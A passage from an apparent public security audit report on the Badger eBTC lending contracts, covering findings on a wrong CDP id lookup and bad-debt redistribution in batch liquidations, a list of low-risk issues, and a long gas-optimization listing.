L173, sortedCdps.cdpOfOwnerByIndex(address(this), initialCdpIndex) is used to get the id of the initialCdpIndex-th CDP owned by this. That’s the problem. Because initialCdpIndex is the number of CDPs owned before the new CDP was created (from L143), that is to say, the index of the created CDP is considered to be the last one.

Let’s look at the code of cdpOfOwnerByIndex:

File: packages\contracts\contracts\SortedCdps.sol
140:     function cdpOfOwnerByIndex(
141:         address owner,
142:         uint256 index
143:     ) external view override returns (bytes32) {
144:->       (bytes32 _cdpId, ) = _cdpOfOwnerByIndex(owner, index, dummyId, 0);
145:         return _cdpId;
146:     }
......
173:     function _cdpOfOwnerByIndex(
174:         address owner,
175:         uint256 index,
176:         bytes32 startNodeId,
177:         uint maxNodes
178:     ) internal view returns (bytes32, bool) {
179:         // walk the list, until we get to the indexed CDP
180:         // start at the given node or from the tail of list
181:->       bytes32 _currentCdpId = (startNodeId == dummyId ? data.tail : startNodeId);
182:->       uint _currentIndex = 0;
183:         uint i;
184: 
185:         while (_currentCdpId != dummyId) {
186:             // if the current CDP is owned by specified owner
187:             if (getOwnerAddress(_currentCdpId) == owner) {
188:                 // if the current index of the owner CDP matches specified index
189:->               if (_currentIndex == index) {
190:->                   return (_currentCdpId, true);
191:                 } else {
192:                     // if not, increment the owner index as we've seen a CDP owned by them
193:->                   _currentIndex = _currentIndex + 1;
194:                 }
195:             }
196:             ++i;
197: 
198:             // move to the next CDP in the list
199:             _currentCdpId = data.nodes[_currentCdpId].prevId;
200: 
201:             // cut the run if we exceed expected iterations through the loop
202:             if (maxNodes > 0 && i >= maxNodes) {
203:                 break;
204:             }
205:         }
206:         // if we reach maximum iteration or end of list
207:         // without seeing the specified index for the owner
208:         // then maybe a new pagination is needed
209:         return (_currentCdpId, false);
210:     }

L144, _cdpOfOwnerByIndex(owner, index, dummyId, 0) is called.

L181, _currentCdpId = data.tail due to startNodeId = dummyId.

L189-194, If _currentIndex == index, the target cdpId is found and the loop exits. Otherwise, _currentIndex is increased by 1.

To better describe the problem, consider the following scenario:

this already has 1 CDP: A, and the entire linked list currently has 10 CDPs. Its topology is as follows:

head                      tail  
cdp1->A->cdp2->...->cdp8->cdp9

New CDP is created via doOperation:

  1. initialCdpIndex = 1, which is from sortedCdps.cdpCountOf(address(this)).
  2. open a new Cdp: B.
  3. The current linked list has 11 CDPs, and its topology is as follows:

    head                         tail  
    cdp1->A->cdp2->cdp3->B->...->cdp9
  4. cdpId = sortedCdps.cdpOfOwnerByIndex(address(this), 1). cdpId was expected to be B’s id, but A’s id was returned.

The root cause of this case is that the linked list is in descending order of NICR, and the NICR of the newly created CDP may be lower than the NICR of the already created CDP. In this case, the wrong cdpId will be returned.

In _openCdpCallback, borrowerOperations.openCdp returns the created cdpId, and we should specify a slot to store this value. Afterwards, read this slot directly in POST CALL CHECK and reset it to byte32(0). The slot can be obtained by using a method similar to keccak256("Badger.LeverageMacroBase.OpenCdpId").

Alex the Entreprenerd (Badger) confirmed and commented:

Would have liked a coded POC of 2 cdps and the last one not being last.

Team says that to find the specific CdpID we would need to use something like this:

cdpID = sorted.Cdps.toCdpID(msg.sender, block.number, sortedCdps.nextCdpNonce());

The finding seems valid, but I believe it would result in reverts on usage (no loss of funds).
And I believe it was missed because the check always works for the first Cdp, it will cause issue for the 2nd cdp onwards.


[M-06] Batched liquidations doesn’t distribute bad debt on next batches in the list

Submitted by rvierdiiev, also found by Stormy and Nyx

LiquidationLibrary.batchLiquidateCdps is called from CDPManager in order to liquidate list of cdps. Depending if system is currently in recovery mode liquidations will be done inside _getTotalFromBatchLiquidate_RecoveryMode or _getTotalsFromBatchLiquidate_NormalMode function.

After that _finalizeLiquidation function will be called, which will then do several important system updates, token transfer and what is important for this report bad debt redistribution. In case if new bad debt occurs in the system, then this debt amount is redistributed to all stakers that are still in the system.

Now, let’s check how liquidations occur by _getTotalsFromBatchLiquidate_NormalMode function. This function loops through all cpds one by one. It fetches ICR for them using getSyncedICR function. This function will calculate ICR not on stored debt and coll of cdp, but it will update this values, according to new fee rate(which means that coll will be reduced) and redistribute rate(which means that debt will increase, if rate is bigger than stored for cdp).

This is how it will be done for redistribution.
https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L864-L868

    function getSyncedICR(bytes32 _cdpId, uint256 _price) public view returns (uint256) {
        uint256 _debt = getSyncedCdpDebt(_cdpId);
        uint256 _collShare = getSyncedCdpCollShares(_cdpId);
        return _calculateCR(_collShare, _debt, _price);
    }

Then getSyncedCdpDebt is called, which calls _getSyncedCdpDebtAndRedistribution function.
https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L822-L833

    function _getSyncedCdpDebtAndRedistribution(
        bytes32 _cdpId
    ) internal view returns (uint256, uint256, uint256) {
        (uint256 pendingDebtRedistributed, uint256 _debtIndexDelta) = _getPendingRedistributedDebt(
            _cdpId
        );
        uint256 _newDebt = Cdps[_cdpId].debt;
        if (pendingDebtRedistributed > 0) {
            _newDebt = _newDebt + pendingDebtRedistributed;
        }
        return (_newDebt, pendingDebtRedistributed, _debtIndexDelta);
    }

So debt of cdp will be increased pendingDebtRedistributed, which depends on redistribution rate of position and current redistribution rate.

Later, for each cdp _getLiquidationValuesNormalMode function will be called, which will actually do the liquidation. It will call _liquidateIndividualCdpSetupCDPInNormalMode function. Inside of it _calculateFullLiquidationSurplusAndCap function is called and it’s purpose is to calculate shares that liquidator and cdp owner should receive and bad debt to redistribute.

So after liquidation has finished, then _addLiquidationValuesToTotals function is called, which will add values from previous liquidation(including redistribution debt) to the total accumulator.

So finally, I can explain the problem. In case if in batch there is cdp, that will create bad debt after liquidation, then this debt will not be redistributed to all next liquidations, as redistribution index is not updated after each liquidation. And as result, next liquidations will have incorrect debt value, which means that smaller amount of debt will be liquidated and bigger amount of coll will be received by cdp owner. And also all else users in the system will have to cover that delta debt that was not redistributed to next liquidations.

Impact

Bad debt is distributed incorrectly.

Tools Used

VsCode

You need to redistribute bad debt after each liquidation in the batch (in case if bad debt occured).

Alex the Entreprenerd (Badger) acknowledged and commented:

This is a known finding from Cantina that unfortunately was not added to the report.

The finding specifically means that 3% of bad debt generated in a batch liquidation will be skipped, effectively making liquidations more favourable.

That said, it’s worth noting that since partial liquidations don’t cause a redistribution, the 3% bad debt could have been skipped under other circumstances.

https://github.com/GalloDaSballo/Cdp-Demo/blob/main/scripts/insolvency_cascade.py

MAX_BPS = 10_000

def cr(debt, coll):
    return coll / debt * 100

def getDebtByCr(coll, cr_bps):
   return coll / cr_bps * MAX_BPS

LICR = 103_00


def max(a, b):
   if(a > b):
      return a
   return b

def min(a, b):
   if(a > b):
      return b
   return a

def full_liq(COLL):
  ## burn all
  return [COLL, COLL / LICR * MAX_BPS]

def partial_liq(COLL, percent):
   return [COLL * percent / 100, COLL * percent / 100 / LICR * MAX_BPS]

def loop_full(cr_bps):
  COLL = 100
  DEBT = getDebtByCr(COLL, cr_bps)
  print("DEBT", DEBT)
  print("cr", cr(DEBT, COLL))

  ## Liquidate Partially based on premium
  while(COLL > 2):
     [sub_coll, sub_debt] = partial_liq(COLL, 10)
    #  [sub_coll, sub_debt] = full_liq(COLL)
     print("DEBT", DEBT)
     print("COLL", COLL)
     DEBT -= sub_debt
     COLL -= sub_coll
  
  print("DEBT", DEBT)
     



CRS = [
   100_00,
   90_00,
   80_00,
   70_00
]

def main():
   print("Simulate Total Liquidation with Bad debt")
   print("Coll is always 100")
   print("No price means 1 coll = 1 debt for price")
   for cr in CRS:
    print("")
    print("")
    print("")
    loop_full(cr)
  

   



main()

ronnyx2017 (Judge) commented:

I didn’t find a public record about the issue. So I’ll mark it as Medium severity.


Low Risk and Non-Critical Issues

For this audit, 26 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by SpicyMeatball received the top score from the judge.

The following wardens also submitted reports: ge6a, prapandey031, ladboy233, ether_sky, peanuts, LokiThe5th, OMEN, jasonxiale, TrungOre, 0xBeirao, nobody2018, shaka, wangxx2026, alpha, lsaudit, hunter_w3b, nonseodion, alexzoid, 7ashraf, twicek, twcctop, niroh, bdmcbri, hihen, and fatherOfBlocks.

[L-01] Redundant check

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L863

_redistributeDebt will never be called if debt = 0.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L525-L527

[L-02] BaseMath is not used

PriceFeed contract inherits from BaseMath but doesn’t use it’s single constant DECIMAL_PRECISION, so it’s possible to remove it.

[L-03] Unused modifier

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L323

This modifier is not used in EBTCTokem.sol.

[L-04] Enforce beta is not zero

Authorized users can change beta value (https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L830), if it’s set to zero.

We’ll divide by zero here:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L624

[L-05] arrayIndex value is not deleted when we remove cpd

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L269-L274

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L471

When we remove cpd, we zero all it’s values, but arrayIndex remains.

[L-06] Hash value name inconsistency

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L33-L35

We use

      keccak256(
            "PermitPositionManagerApproval(address borrower,address positionManager,uint8 status,uint256 nonce,uint256 deadline)"
        );

But in permitPositionManagerApproval we use approval instead of status
https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L709

[L-07] Consider using enum values instead of numbers

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L826

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L831

status == ICdpManagerData.Status.active

status == ICdpManagerData.Status.nonExistent

[L-08] It would be more appropriate to use syncGlobalAccountingAndGracePeriod

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1146

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1157

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1168

Here we update global system parameters but we use syncGlobalAccounting which doesn’t trigger recovery mode if TCR becomes less than CCR, unlike syncGlobalAccountingAndGracePeriod.

    function syncGlobalAccounting() external {
        _requireCallerIsBorrowerOperations();
        _syncGlobalAccounting();
    }
    function syncGlobalAccountingAndGracePeriod() public {
        _syncGlobalAccounting(); // Apply // Could trigger RM
        _syncGracePeriod(); // Synch Grace Period
    }

[N-01] Typos, wrong comments and naming

  1. These comments are copy-pasted from Auth.sol, we don’t check the owner here

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Dependencies/AuthNoOwner.sol#L33-L34

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Dependencies/AuthNoOwner.sol#L39-L40

  1. Fee floor is actually 0%

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Dependencies/EbtcBase.sol#L35

  1. Entire system debt

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Dependencies/EbtcBase.sol#L73

  1. Memorizing typo

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Dependencies/Auth.sol#L33

  1. sending EBTC directly to a Liquity

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L22

  1. _NICR would be more appropriate name

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L165

CR is associated with collateral ratio, however in this function we use NICR values to find a hint

  1. Wrong pair names in comments

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L784

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L786 should be stETH-ETH feed

  1. ETH-USD comment from Liquity

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L594

should be stETH-BTC

ronnyx2017 (Judge) commented:

There are some other Low/Non-Critical issues downgraded from High/Medium that are also worth noting:


Gas Optimizations

For this audit, 24 reports were submitted by wardens detailing gas optimizations. The report highlighted below by DavidGiladi received the top score from the judge.

The following wardens also submitted reports: hunter_w3b, cheatc0d3, zabihullahazadzoi, unique, JCK, Sathish9098, Madalad, codeslide, hihen, oualidpro, SY_S, nonseodion, petrichor, sivanesh_808, 0xhex, tala7985, mgf15, 0xta, SAQ, jamshed, Collinsoden, lsaudit, and ybansal2403.

Gas Optimization Issues

Title Issue Instances Total Gas Saved
[G-01] Inefficient use of abi.encode() Inefficient use of abi.encode() 6 600
[G-02] Use assembly to emit events Use assembly to emit events 78 2964
[G-03] Avoid unnecessary storage updates Avoid unnecessary storage updates 5 4000
[G-04] Multiplication and Division by 2 Should use in Bit Shifting Multiplication and Division by 2 Should use in Bit Shifting 1 20
[G-05] Using bools for storage incurs overhead Using bools for storage incurs overhead 2 34200
[G-06] Optimizing Small Data Storage with Bytes32 Optimizing Small Data Storage with Bytes32 11 4158
[G-07] Check Arguments Early Check Arguments Early 4 -
[G-08] Division operations between unsigned could be unchecked Division operations between unsigned could be unchecked 3 255
[G-09] Modulus operations that could be unchecked Modulus operations that could be unchecked 1 85
[G-10] Potential Optimization by Combining Multiple Mappings into a Struct Potential Optimization by Combining Multiple Mappings into a Struct 2 1000
[G-11] Constants Variable Should Be Private for Gas Optimization Constants Variable Should Be Private for Gas Optimization 18 61200
[G-12] State variables that could be declared constant State variables that could be declared constant 10 20970
[G-13] Use of emit inside a loop Use of emit inside a loop 5 5130
[G-14] Empty Block Empty Block 2 -
[G-15] Identical Deployments Should be Replaced with Clone Identical Deployments Should be Replaced with Clone 1 -
[G-16] Use a More Recent Version of Solidity Use a More Recent Version of Solidity 34 -
[G-17] Inefficient assignments to state variables Inefficient assignments to state variables 1 113
[G-18] Greater or Equal Comparison Costs Less Gas than Greater Comparison Greater or Equal Comparison Costs Less Gas than Greater Comparison 9 27
[G-19] Inefficient Parameter Storage Inefficient Parameter Storage 35 1750
[G-20] Using Storage Instead of Memory for structs/arrays Saves Gas Using Storage Instead of Memory for structs/arrays Saves Gas 7 29400
[G-21] Internal or Private Function that Called Once Should Be Inlined to Save Gas Internal or Private Function that Called Once Should Be Inlined to Save Gas 19 380
[G-22] Inefficient Gas Usage in Solidity Smart Contracts Due to Long Error Messages Inefficient Gas Usage in Solidity Smart Contracts Due to Long Error Messages 111 1998
[G-23] Consider Merge Sequential For-Loops Consider Merge Sequential For-Loops 1 -
[G-24] Declare Constructor Function as Payable to Save Gas Declare Constructor Function as Payable to Save Gas 16 336
[G-25] Optimize address(0) Checks Using Assembly Optimize address(0) Checks Using Assembly 6 348
[G-26] Optimize Names to Save Gas Optimize Names to Save Gas 8 176
[G-27] Optimal State Variable Order Optimal State Variable Order 3 15000
[G-28] Optimal Struct Variable Order Optimal Struct Variable Order 4 20000
[G-29] Postfix operations that could be replaced with prefix operations Postfix operations that could be replaced with prefix operations 12 60
[G-30] Redundant Bool Comparison Redundant Bool Comparison 1 9
[G-31] Redundant state variable getters Redundant state variable getters 2 -
[G-32] Consider activating via-ir for deploying Consider activating via-ir for deploying 1 -
[G-33] Short-circuit rules can be used to optimize some gas usage Short-circuit rules can be used to optimize some gas usage 7 14700
[G-34] Use Small Integer For Efficiency Use Small Integer For Efficiency 5 30
[G-35] Splitting Require Assert Statements Splitting Require Assert Statements 8 24
[G-36] State variable access within a loop State variable access within a loop 33 8745
[G-37] Superfluous event fields Superfluous event fields 1 -
[G-38] Cache Array Length Outside of Loop Cache Array Length Outside of Loop 3 9
[G-39] State variables should be cached in stack variables rather than re-reading them from storage State variables should be cached in stack variables rather than re-reading them from storage 29 2813
[G-40] Safe Subtraction Should Be Unchecked Safe Subtraction Should Be Unchecked 11 935
[G-41] Detection of Unnecessary Checked Increments in Solidity Loop Statements Detection of Unnecessary Checked Increments in Solidity Loop Statements 10 600
[G-42] Avoid Unnecessary Computation Inside Loops Avoid Unnecessary Computation Inside Loops 3 -
[G-43] Redundant Contract Existence Check in Consecutive External Calls Redundant Contract Existence Check in Consecutive External Calls 8 800
[G-44] Initialize Variables With Default Value Initialize Variables With Default Value 17 102
[G-45] Unused Named Return Variables Unused Named Return Variables 4 -
[G-46] Use assembly to write address storage values Use assembly to write address storage values 24 1848
[G-47] Use Assembly for Hash Calculation Use Assembly for Hash Calculation 12 960
[G-48] Usage of Custom Errors for Gas Efficiency Usage of Custom Errors for Gas Efficiency 152 41952

Total: 746 instances over 48 issues

[G-01] Inefficient use of abi.encode()

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 600

Description

The abi.encode() function is less gas efficient than abi.encodePacked(), especially when encoding only static types. This detector identifies instances where abi.encode() is used and all arguments are static, suggesting that abi.encodePacked() could potentially be used instead for better gas efficiency. Note: abi.encodePacked() should not be used if any of the arguments are dynamic types, as it could lead to hash collisions.

There are 6 instances of this issue:

File: contracts/BorrowerOperations.sol

682    return keccak256(abi.encode(typeHash, name, version, _chainID(), address(this)))

use abi.encodepacked() instead.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L682

File: contracts/BorrowerOperations.sol

717    bytes32 digest = keccak256(
718                abi.encodePacked(
719                    "\x19\x01",
720                    domainSeparator(),
721                    keccak256(
722                        abi.encode(
723                            _PERMIT_POSITION_MANAGER_TYPEHASH,
724                            _borrower,
725                            _positionManager,
726                            _approval,
727                            _nonces[_borrower]++,
728                            _deadline
729                        )
730                    )
731                )
732            )

use abi.encodepacked() instead.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L717-L732

File: contracts/EBTCToken.sol

209    bytes32 digest = keccak256(
210                abi.encodePacked(
211                    "\x19\x01",
212                    domainSeparator(),
213                    keccak256(
214                        abi.encode(_PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner]++, deadline)
215                    )
216                )
217            )

use abi.encodepacked() instead.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L209-L217

File: contracts/EBTCToken.sol

240    return keccak256(abi.encode(typeHash, name, version, _chainID(), address(this)))

use abi.encodepacked() instead.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L240

File: contracts/LeverageMacroBase.sol

148    IERC3156FlashLender(address(borrowerOperations)).flashLoan(
149                    IERC3156FlashBorrower(address(this)),
150                    address(ebtcToken),
151                    borrowAmount,
152                    abi.encode(operation)
153                )

use abi.encodepacked() instead.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L148-L153

File: contracts/LeverageMacroBase.sol

155    IERC3156FlashLender(address(activePool)).flashLoan(
156                    IERC3156FlashBorrower(address(this)),
157                    address(stETH),
158                    borrowAmount,
159                    abi.encode(operation)
160                )

use abi.encodepacked() instead.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L155-L160

[G-02] Use assembly to emit events

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 2964

Description

This detector checks for instances where a contract uses assembly code to emit events. While it’s technically possible to emit events using inline assembly in Solidity, it’s generally discouraged due to readability concerns and potential for errors. Events should usually be emitted using higher-level Solidity constructs.

There are 78 instances of this issue:

File: contracts/ActivePool.sol

65    emit FeeRecipientAddressChanged(_feeRecipientAddress)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L65

File: contracts/ActivePool.sol

112    emit SystemCollSharesUpdated(cachedSystemCollShares)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L112

File: contracts/ActivePool.sol

113    emit CollSharesTransferred(_account, _shares)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L113

File: contracts/ActivePool.sol

145    emit SystemCollSharesUpdated(cachedSystemCollShares)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L145

File: contracts/ActivePool.sol

146    emit CollSharesTransferred(_account, totalShares)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L146

File: contracts/ActivePool.sol

173    emit SystemCollSharesUpdated(cachedSystemCollShares)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L173

File: contracts/ActivePool.sol

174    emit FeeRecipientClaimableCollSharesIncreased(cachedFeeRecipientCollShares, _shares)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L174

File: contracts/ActivePool.sol

200    emit ActivePoolEBTCDebtUpdated(cachedSystemDebt)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L200

File: contracts/ActivePool.sol

213    emit ActivePoolEBTCDebtUpdated(cachedSystemDebt)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L213

File: contracts/ActivePool.sol

247    emit SystemCollSharesUpdated(cachedSystemCollShares)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L247

File: contracts/ActivePool.sol

307    emit FlashLoanSuccess(address(receiver), token, amount, fee)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L307

File: contracts/ActivePool.sol

360    emit FeeRecipientClaimableCollSharesDecreased(cachedFeeRecipientCollShares, _shares)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L360

File: contracts/ActivePool.sol

383    emit SweepTokenSuccess(token, amount, cachedFeeRecipientAddress)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L383

File: contracts/ActivePool.sol

399    emit FeeRecipientAddressChanged(_feeRecipientAddress)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L399

File: contracts/ActivePool.sol

412    emit FlashFeeSet(msg.sender, _oldFee, _newFee)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L412

File: contracts/ActivePool.sol

421    emit FlashLoansPaused(msg.sender, _paused)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L421

File: contracts/BorrowerOperations.sol

136    emit FeeRecipientAddressChanged(_feeRecipientAddress)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L136

File: contracts/BorrowerOperations.sol

641    emit PositionManagerApprovalSet(_borrower, _positionManager, _approval)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L641

File: contracts/BorrowerOperations.sol

1105    emit FlashLoanSuccess(address(receiver), token, amount, fee)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1105

File: contracts/BorrowerOperations.sol

1149    emit FeeRecipientAddressChanged(_feeRecipientAddress)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1149

File: contracts/BorrowerOperations.sol

1162    emit FlashFeeSet(msg.sender, _oldFee, _newFee)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1162

File: contracts/BorrowerOperations.sol

1171    emit FlashLoansPaused(msg.sender, _paused)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1171

File: contracts/CdpManager.sol

55    emit StakingRewardSplitSet(stakingRewardSplit)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L55

File: contracts/CdpManagerStorage.sol

542    emit StEthIndexUpdated(_oldIndex, _newIndex, block.timestamp)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L542

File: contracts/CdpManager.sol

220    emit CdpUpdated(
221                    _redeemColFromCdp.cdpId,
222                    ISortedCdps(sortedCdps).getOwnerAddress(_redeemColFromCdp.cdpId),
223                    msg.sender,
224                    _oldDebtAndColl.debt,
225                    _oldDebtAndColl.collShares,
226                    newDebt,
227                    newColl,
228                    Cdps[_redeemColFromCdp.cdpId].stake,
229                    CdpOperation.redeemCollateral
230                )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L220-L230

File: contracts/CdpManager.sol

179    emit CdpUpdated(
180                        _redeemColFromCdp.cdpId,
181                        _borrower,
182                        msg.sender,
183                        _oldDebtAndColl.debt,
184                        _oldDebtAndColl.collShares,
185                        0,
186                        0,
187                        0,
188                        CdpOperation.redeemCollateral
189                    )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L179-L189

File: contracts/CdpManagerStorage.sol

481    emit CdpArrayIndexUpdated(idToMove, index)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L481

File: contracts/CdpManagerStorage.sol

414    emit TotalStakesUpdated(_newTotalStakes)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L414

File: contracts/CdpManagerStorage.sol

425    emit TotalStakesUpdated(_newTotalStakes)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L425

File: contracts/CdpManager.sol

630    emit BaseRateUpdated(newBaseRate)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L630

File: contracts/CdpManager.sol

698    emit LastRedemptionTimestampUpdated(block.timestamp)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L698

File: contracts/CdpManagerStorage.sol

50    emit TCRNotified(_tcr)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L50

File: contracts/CdpManagerStorage.sol

55    emit GracePeriodStart()

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L55

File: contracts/CdpManagerStorage.sol

64    emit TCRNotified(_tcr)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L64

File: contracts/CdpManagerStorage.sol

69    emit GracePeriodEnd()

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L69

File: contracts/CdpManagerStorage.sol

587    emit CollateralFeePerUnitUpdated(_oldPerUnit, _newPerUnit, _feeTaken)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L587

File: contracts/CdpManagerStorage.sol

390    emit CdpUpdated(
391                    _cdpId,
392                    ISortedCdps(sortedCdps).getOwnerAddress(_cdpId),
393                    msg.sender,
394                    prevDebt,
395                    prevCollShares,
396                    _newDebt,
397                    _newColl,
398                    _cdp.stake,
399                    CdpOperation.syncAccounting
400                )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L390-L400

File: contracts/CdpManagerStorage.sol

602    emit CdpFeeSplitApplied(
603                _cdpId,
604                _oldPerUnitCdp,
605                _systemStEthFeePerUnitIndex,
606                _feeSplitDistributed,
607                _newColl
608            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L602-L608

File: contracts/CdpManagerStorage.sol

300    emit SystemSnapshotsUpdated(_totalStakesSnapshot, _totalCollateralSnapshot)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L300

File: contracts/CdpManager.sol

466    emit Redemption(
467                _debt,
468                totals.debtToRedeem,
469                totals.collSharesDrawn,
470                totals.feeCollShares,
471                msg.sender
472            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L466-L472

File: contracts/CdpManagerStorage.sol

340    emit CdpDebtRedistributionIndexUpdated(_cdpId, _systemDebtRedistributionIndex)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L340

File: contracts/CdpManager.sol

545    emit CdpUpdated(_cdpId, _borrower, msg.sender, _debt, _coll, 0, 0, 0, CdpOperation.closeCdp)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L545

File: contracts/CdpManager.sol

681    emit BaseRateUpdated(decayedBaseRate)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L681

File: contracts/CdpManager.sol

782    emit StakingRewardSplitSet(_stakingRewardSplit)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L782

File: contracts/CdpManager.sol

801    emit RedemptionFeeFloorSet(_redemptionFeeFloor)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L801

File: contracts/CdpManager.sol

824    emit MinuteDecayFactorSet(_minuteDecayFactor)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L824

File: contracts/CdpManager.sol

836    emit BetaSet(_beta)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L836

File: contracts/CdpManager.sol

848    emit RedemptionsPaused(_paused)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L848

File: contracts/CdpManager.sol

925    emit CdpUpdated(
